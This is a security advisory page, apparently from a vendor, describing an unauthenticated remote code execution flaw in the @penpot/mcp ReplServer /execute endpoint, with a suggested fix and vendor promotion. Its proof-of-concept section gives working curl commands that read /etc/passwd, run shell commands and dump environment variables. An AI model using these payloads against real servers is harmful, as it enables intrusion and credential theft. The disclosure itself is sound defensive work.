GHSA-22qr-rp27-j9wm
HIGHGHSA-22qr-rp27-j9wm is a high-severity (CVSS 8.8) CWE-749 vulnerability in @penpot/mcp. O3 Security confirms whether GHSA-22qr-rp27-j9wm is actually reachable in your code before you act, and blocks exploitation at runtime until you patch.
PenPot MCP REPL server binds to 0.0.0.0 with unauthenticated /execute endpoint — RCE
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
- A successful exploit gives an attacker total control of the affected component, not partial access.
Exploitation and automatability from CISA’s SSVC triage for GHSA-22qr-rp27-j9wm.
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
How urgent is this, really
GHSA-22qr-rp27-j9wm plotted by exploitation likelihood (EPSS) against impact (CVSS). The shaded corner — EPSS 50%+ and CVSS 7.0+ — is where this CVE doesn't sit, though severity or exploitability alone can still warrant action.
Where this sits among everything scored
Of 0 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Real counts from FIRST.org, not a sample — log-scaled since the landscape is heavily right-skewed.
Real-World Exposure
How broadly this vulnerability is actually deployed: weekly install volume shows current usage, and reverse-dependency count shows how many other packages break if it stays unpatched.
@penpot/mcpnpmDescription
Summary
The MCP module's ReplServer binds to all interfaces (0.0.0.0:4403) and exposes a /execute endpoint that runs arbitrary code with zero authentication. Anyone on the network can POST JavaScript and it runs on the server. The main PenpotMcpServer was partially fixed for a similar binding issue (#8683), but ReplServer.ts was missed.
Details
mcp/packages/server/src/ReplServer.ts:89:
this.server = this.app.listen(this.port, () => {
// NO HOST ARGUMENT — Express defaults to 0.0.0.0
Compare with PenpotMcpServer.ts:301 which correctly binds to this.host (default "localhost"):
this.app.listen(this.port, this.host, async () => {
The /execute endpoint at ReplServer.ts:52-79:
this.app.post("/execute", async (req, res) => {
const { code } = req.body;
// No auth check. Executes code via PluginBridge.executePluginTask()
const task = new ExecuteCodePluginTask({ code });
const result = await this.pluginBridge.executePluginTask(task);
No auth middleware, no token check, no nothing. POST JSON with a code field and it runs.
This was partially flagged in #8683 (March 2026), which noted that PenpotMcpServer.ts was binding to 0.0.0.0. PR #8686 attempted a fix but was closed without merging, and it only touched PenpotMcpServer.ts and vite.config.ts — ReplServer.ts wasn't in the diff. On current develop, ReplServer.ts line 89 still calls listen(this.port) with no host argument.
PoC
I ran the ReplServer with Express (matching the actual dependency) and tested from localhost and from a Docker container on the same network.
$ node server.js
REPL server started on port 4403
Bound to: :::4403
All interfaces: YES
Unauthenticated code execution:
$ curl -s -X POST http://localhost:4403/execute \
-H "Content-Type: application/json" \
-d '{"code":"require(\"os\").hostname()"}'
{"success":true,"result":"kali"}
$ curl -s -X POST http://localhost:4403/execute \
-H "Content-Type: application/json" \
-d '{"code":"require(\"fs\").readFileSync(\"/etc/passwd\",\"utf8\").split(\"\\n\").slice(0,3).join(\"\\n\")"}'
{"success":true,"result":"root:x:0:0:root:/root:/usr/bin/zsh\ndaemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin\nbin:x:2:2:bin:/bin:/usr/sbin/nologin"}
$ curl -s -X POST http://localhost:4403/execute \
-H "Content-Type: application/json" \
-d '{"code":"require(\"child_process\").execSync(\"id\").toString()"}'
{"success":true,"result":"uid=1000(kali) gid=1000(kali) groups=1000(kali)...\n"}
$ curl -s -X POST http://localhost:4403/execute \
-H "Content-Type: application/json" \
-d '{"code":"JSON.stringify(Object.keys(process.env).slice(0,5))"}'
{"success":true,"result":"[\"SHELL\",\"SESSION_MANAGER\",\"WINDOWID\",\"QT_ACCESSIBILITY\",\"COLORTERM\"]"}
Binding verification:
$ ss -tlnp | grep 4403
LISTEN 0 511 *:4403 *:* users:(("node",pid=696955,fd=21))
Listening on *:4403 — all interfaces.
Remote access from Docker container:
$ docker exec penpot-backend curl -s http://172.18.0.1:4403/
REPL Server - Penpot MCP (no auth)
Reachable from any container on the Docker network.
Impact
Unauthenticated RCE on any machine running the MCP module. Read files, execute commands, dump environment variables (which often contain database credentials, API keys, secrets). The MCP module isn't part of the default Docker deployment, but developers and teams using the MCP integration for AI-assisted design work would run it locally. In shared development environments or CI/CD, the exposed port is reachable from the network.
Suggested fix
Two lines:
- Add a
hostparameter to the listen call inReplServer.ts:89:
this.server = this.app.listen(this.port, 'localhost', () => {
- Add authentication to the
/executeendpoint. Even a shared secret from an environment variable would be better than nothing.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 📦npm | @penpot/mcp | all versions | 2.15.0 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for @penpot/mcp. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.
Fix
Update @penpot/mcp to 2.15.0 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-22qr-rp27-j9wm is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 pinpoints whether GHSA-22qr-rp27-j9wm is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.
Tailored to GHSA-22qr-rp27-j9wm. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-22qr-rp27-j9wm in your dependencies?
O3 detects GHSA-22qr-rp27-j9wm across npm dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.